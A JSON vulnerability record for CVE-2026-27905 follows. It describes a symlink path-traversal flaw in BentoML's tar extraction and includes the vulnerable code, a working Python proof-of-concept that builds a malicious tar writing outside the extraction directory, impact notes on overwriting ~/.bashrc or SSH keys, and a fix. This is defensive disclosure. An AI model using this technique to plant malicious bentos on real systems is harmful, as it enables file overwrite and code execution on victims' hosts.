{"id":"CVE-2026-27905","aliases":["GHSA-m6w7-qv66-g3mf","PYSEC-2026-2398"],"url":"https://o3.security/vulnerability/CVE-2026-27905","summary":"BentoML has an Arbitrary File Write via Symlink Path Traversal in Tar Extraction","details":"# Arbitrary File Write via Symlink Path Traversal in Tar Extraction\n\n## Summary\n\nThe `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.\n\n## Affected Component\n\n- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`\n- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`\n- **Affected versions**: All versions with `safe_extract_tarfile()`\n\n## Severity\n\n**CVSS 3.1: 8.1 (High)**\n`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`\n\n## Vulnerability Details\n\n### Vulnerable Code (filesystem.py:58-96)\n\n```python\ndef safe_extract_tarfile(tar, destination):\n    os.makedirs(destination, exist_ok=True)\n    for member in tar.getmembers():\n        fn = member.name\n        path = os.path.abspath(os.path.join(destination, fn))\n        if not Path(path).is_relative_to(destination):  # Line 64: INCOMPLETE\n            continue  # Only checks member path, NOT symlink target\n        if member.issym():\n            tar._extract_member(member, path)  # Line 75: Creates symlink with UNVALIDATED target\n        else:\n            fp = tar.extractfile(member)\n            with open(path, \"wb\") as destfp:  # Line 92: open() FOLLOWS symlinks\n                shutil.copyfileobj(fp, destfp)\n```\n\n### The Bug\n\n1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target\n2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)\n3. Line 92: `open(path, \"wb\")` follows the symlink, writing OUTSIDE the destination\n\n`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.\n\n## Proof of Concept\n\n```python\nimport io, os, shutil, tarfile, tempfile\nfrom pathlib import Path\n\ndef create_malicious_tar(target_dir, target_file, payload):\n    buf = io.BytesIO()\n    with tarfile.open(fileobj=buf, mode='w:gz') as tar:\n        sym = tarfile.TarInfo(name='escape')\n        sym.type = tarfile.SYMTYPE\n        sym.linkname = target_dir\n        tar.addfile(sym)\n        info = tarfile.TarInfo(name=f'escape/{target_file}')\n        info.size = len(payload)\n        tar.addfile(info, io.BytesIO(payload))\n    buf.seek(0)\n    return buf\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    extract_dir = os.path.join(tmpdir, 'extract')\n    target_dir = os.path.join(tmpdir, 'outside')\n    os.makedirs(target_dir)\n    \n    mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')\n    tar = tarfile.open(fileobj=mal_tar, mode='r:gz')\n    \n    # Reproduce filesystem.py:58-96\n    os.makedirs(extract_dir, exist_ok=True)\n    for member in tar.getmembers():\n        path = os.path.abspath(os.path.join(extract_dir, member.name))\n        if not Path(path).is_relative_to(extract_dir): continue\n        if member.issym():\n            tar._extract_member(member, path)  # Symlink target NOT checked\n        else:\n            fp = tar.extractfile(member)\n            os.makedirs(os.path.dirname(path), exist_ok=True)\n            if fp:\n                with open(path, 'wb') as destfp:  # Follows symlink!\n                    shutil.copyfileobj(fp, destfp)\n    \n    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))\n    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED\n```\n\n## Impact\n\n### 1. Arbitrary file overwrite via shared bentos\nBentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.\n\n### 2. Remote code execution via file overwrite\nOverwriting `~/.bashrc` or Python packages achieves RCE.\n\n### 3. BentoCloud deployments\n`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.\n\n## Remediation\n\nValidate symlink targets:\n```python\nif member.issym():\n    target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))\n    if not Path(target).is_relative_to(dest):\n        logger.warning('Symlink %s points outside: %s', member.name, member.linkname)\n        continue\n```\n\nOr use Python 3.12+ `tar.extractall(filter='data')`.\n\n## References\n\n- CWE-59: Improper Link Resolution Before File Access ('Link Following')\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","published":"2026-03-03T22:45:40.434Z","modified":"2026-08-12T03:51:25.092863506Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"bentoml","fixedVersion":"1.4.36"}],"fix":{"url":"https://github.com/bentoml/BentoML/commit/4e0eb007765ac04c7924220d643f264715cc9670","label":"bentoml/BentoML@4e0eb00"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27905.json"},{"type":"ADVISORY","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-m6w7-qv66-g3mf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27905"},{"type":"FIX","url":"https://github.com/bentoml/BentoML/commit/4e0eb007765ac04c7924220d643f264715cc9670"},{"type":"PACKAGE","url":"https://github.com/bentoml/BentoML"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.092863506Z"}}